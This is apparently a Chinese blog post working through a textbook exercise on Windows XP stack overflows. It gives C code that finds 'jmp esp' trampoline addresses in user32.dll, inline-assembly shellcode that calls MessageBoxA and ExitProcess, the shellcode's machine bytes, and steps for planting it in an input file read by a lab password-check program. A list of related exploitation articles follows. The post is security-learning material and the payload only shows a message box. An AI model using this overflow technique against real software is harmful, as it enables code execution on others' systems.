前言

此帖为 0day_2th 一书第三章实践不完全记录。

流程记录

  1. searchAddr.c 文件:

    #include <windows.h>
    #include <stdio.h>
    #define DLL_NAME "user32.dll"
    
    main()
    {
        BYTE* ptr;
        int position, address;
        HINSTANCE handle;
        BOOL done_flag = FALSE;
        handle = LoadLibrary(DLL_NAME);
        if(!handle)
        {
            printf(" load dll erro !");
            exit(0);
        }
        ptr = (BYTE*)handle;
    
        for(position = 0; !done_flag; position++)
        {
    
            try
            {
                if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
                {
                    // 0xFFE4 is the opcode of jmp esp
                    int address = (int)ptr + position;
                    printf("OPCODE found at 0x%x\n",address);
                }
            }
            catch(...)
            {
                int address = (int)ptr + position;
                printf("END OF 0x%x\n", address);
                done_flag = true;
            }
    
        }
    }

    将searchAddr.c文件在vc6.0中编译运行。产生的.exe文件我们放到OllyDbg调试。运行我们自己编写程序搜索跳转地址得到的结果和 OllyDbg 插件搜到的结果基本相同,如图 3.2.5 所示。

    图3.2.5 Olly Dbg搜出的“跳板”与程序搜出的“跳板”地址

    此处不妨以 0x77d92c08 (等同于书中的 0x77DC14CC)作为定位 shellcode 的“跳板”。

  2. 使用dependency walker获得ExitProcess函数入口地址 0x7c81cdda。

    图 3.2.6 计算 ExitProcess 函数的入口地址

    注:具体方法参考此帖相关处即可

  3. shellCode.c 文件:

    #include <windows.h>
    
    int main()
    {
        HINSTANCE LibHandle;
        char dllbuf[11] = "user32.dll";
        LibHandle = LoadLibrary(dllbuf);
        _asm{
            sub sp,0x440
            xor ebx,ebx
            push ebx // cut string
            push 0x74736577
            push 0x6c696166 // push failwest
    
            mov eax,esp // load address of failwest
            push ebx
            push eax
            push eax
            push ebx
    
            mov eax,0x77d5058a // address should be reset in different OS
            call eax // call MessageboxA
            push ebx
            mov eax,0x7c81cdda
            call eax // call exit(0)
        }
    }

    将shellCode.c文件在vc6.0中编译运行。

    点击确定按钮

    可见程序可以正常退出了。

    注:附一张地址对应表,书中的地址和自己虚拟机xp系统环境有出入,代码不能照搬书,需要稍作修改。你自己的环境与我的也许也不同,对应处修改即可。

    作用 书中 实际环境
    跳板 0x77dc14cc 0x77d92c08
    ExitProcess入口地址 0x7c81cdda 同书中
    MessageBoxA入口地址 0x77d804ea 0x77d5058a
  4. 为了提取出汇编代码对应的机器码,我们将上述代码用 VC6.0 编译运行通过后,再用 OllyDbg 加载可执行文件,选中所需的代码后可直接将其 dump 到文件中,如图 3.2.7 所示。

    图 3.2.7 从 PE 文件中提取 shellcode 的机器码

    现在我们已经具备了制作新 exploit 需要的所有信息。

    (1)搜索到的 jmp esp 地址,用作重定位 shellcode 的“跳板”:0x77d92c08。

    (2)修改后并重新提取得到的 shellcode,如表 3-2-2 所示。

    表 3-2-2 shellcode 及注释

    机器代码(十六进制) 汇编指令 注释
    33 db xor ebx,ebx
    53 pu push ebx
    68 77 65 73 74 push 0x74736577
    68 66 61 69 6c push 0x6c696166
    8b c4 mov eax,esp
    53 pu push ebx
    50 pu push eax
    50 pu push eax
    53 pu push ebx
    b8 8a 05 d5 77 mov eax,0x77d5058a
    ff d0 call eax
    53 pu push ebx
    b8 da cd 81 7c mov eax,0x7c81cdda
    ff d0 call eax

    按照 2.4 节中对栈内情况的分析,我们将 password.txt 使用十六进制编辑器制作成如图 3.2.8 所示的形式。

    图 3.2.8 在输入文件中部署 shellcode

  5. 现在再运行密码验证程序,怎么样,程序退出的时候不会报内存错误了吧。虽然还是同样的消息框,但是这次植入代码的流程和 2.4 节中已有很大不同了,最核心的地方就是使用了跳转地址定位 shellcode。运行结果截图如下

    点击确定按钮后,正常退出。如下

Preference

0day-security-software-vulnerability-analysis-technology

https://www.cnblogs.com/wh4am1/p/6619073.html

windows下shellcode编写入门

[原创]《0day安全...(第二版)》第3章第4节开发通用的shellcode在win10系统下测试的问题

3.2 定位shellcode的更多相关文章

  1. OD: Universal Shellcode

    本节讲如果开发通用的 Shellcode. Shellcode 的组织 shellcode 的组织对成功地 exploit 很重要. 送入缓冲区的数据包括: . 填充物.一般用 0x90 (NOP) ...

  2. 栈溢出原理与 shellcode 开发

     ESP:该指针永远指向系统栈最上面一个栈帧的栈顶  EBP:该指针永远指向系统栈最上面一个栈帧的底部 01  修改函数返回地址 #include<stdio.h> #include< ...

  3. 开发shellcode的艺术

    专业术语 ShellCode:实际是一段代码(也可以是填充数据) exploit:攻击通过ShellCode等方法攻击漏洞 栈帧移位与jmp esp 一般情况下,ESP寄存器中的地址总是指向系统栈且不 ...

  4. OD: Memory Attach Technology - Exception

    看到第六章了:形形色色的内存攻击技术 异常处理结构体 S.E.H Structure Exception Handler S.E.H 是 Windows 处理异常的重要数据结构.每个 S.E.H 为 ...

  5. OD: Heap Exploit : DWORD Shooting & Opcode Injecting

    堆块分配时的任意地址写入攻击原理 堆管理系统的三类操作:分配.释放.合并,归根到底都是对堆块链表的修改.如果能伪造链表结点的指针,那么在链表装卸的过程中就有可能获得读写内存的机会.堆溢出利用的精髓就是 ...

  6. CVE-2013-2551漏洞成因与利用分析(ISCC2014 PWN6)

    CVE-2013-2551漏洞成因与利用分析 1. 简介 VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10,5月22日VUPEN在其博客上公布了漏洞的细节.它是一个ORG数组整数 ...

  7. CVE-2012-0158基于exp分析

    CVE-2012-0158这个洞我之前分析过,漏洞战争这本书里也写过,但是都是用poc分析的,我这次找了一个弹计算器的exp来分析,感觉用poc和用exp还是不一样的,从exp分析要比从poc分析更复 ...

  8. 《metasploit渗透测试魔鬼训练营》靶机演练之第五章实战案例KingView 6.53版本CVE-2011-0406漏洞

    在一个笔记本上开两个虚拟机有点卡,而且太麻烦,就把metasploit的目标靶机放在别的机器上了,ip自己配置了一下, 目标主机:192.168.137.254 入侵机:192.168.137.253 ...

  9. CVE-2012-0158个人分析

    CVE-2012-0158是一个比较有名的老漏洞了,这次从论坛上找到一个poc文件,利用这个poc来分析CVE-2012-0158漏洞的形成. http://bbs.pediy.com/showthr ...

随机推荐

  1. markdown的流程图实现和代码语法着色

    用flowchart为markdown添加流程图 举个例子如下,根据这个例子大家就能看懂我到底是怎么实现的 <!DOCTYPE html> <html> <head> ...

  2. Eclipse java项目将普通文件转化为Source文件的操作

    前提:该项目中已经将原有的Source folder删除掉. 右键单击普通文件>Build path>Use as Source Folder.

  3. Docker Tomcat远程部署到容器

    一:创建一个开启远程部署的tomcat容器 tomcat角色配置 1.tomcat开启远程部署,修改conf/tomcat-users.xml <?xml version="1.0&q ...

  4. dajie项目的坑

    1.首先IDEA巨坑无比的地方是引入时,只要哪怕一个依赖下载不到,就会长期阻塞,删除.重新引入都没用!! 2.注释掉项目及其子项目中所有pom.xml中引用的spring仓库,否则即使maven配置阿 ...

  5. 推荐一个静态博客兼笔记的工具:WDTP

    简介 WDTP(山湖录)不止是一款开源免费的GUI桌面单机版静态网站生成器和简单方便的前端开发工具,更是一款跨平台的集笔记.录音.个人知识管理.写作/创作.博客/网站内容与样式管理等功能于一体的多合一 ...

  6. 【ContextLoaderListener】Web项目启动报错java.lang.ClassNotFoundException: ContextLoaderListener

    错误原因: 进入到tomcat的部署路径.metadata\.plugins\org.eclipse.wst.server.core\tmp0\wtpwebapps\下检查了一下,发现工程部署后在WE ...

  7. mysql重要sql小记

    mysql -hip -uuser -p -A DB -e '[sql]' | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' & ...

  8. [蓝桥] 基础练习 数列排序(java)

    问题描述 给定一个长度为n的数列,将这个数列按从小到大的顺序排列.1<=n<=200 输入格式 第一行为一个整数n. 第二行包含n个整数,为待排序的数,每个整数的绝对值小于10000. 输 ...

  9. Twenty score

    1.上图中有两个人对读书的看法有较大的不同. There are two people in the cartoon who treat books in completely different w ...

  10. 基于OAuth2.0的第三方认证

    浅显易懂的解释 来源 yahoo OAuth认证 原理 理解OAuth 2.0:原理.分类 一张图搞定OAuth2.0:是什么,怎么用 应用自身,完成用户认证: 缺点: 1.不同的访问Web应用提供不 ...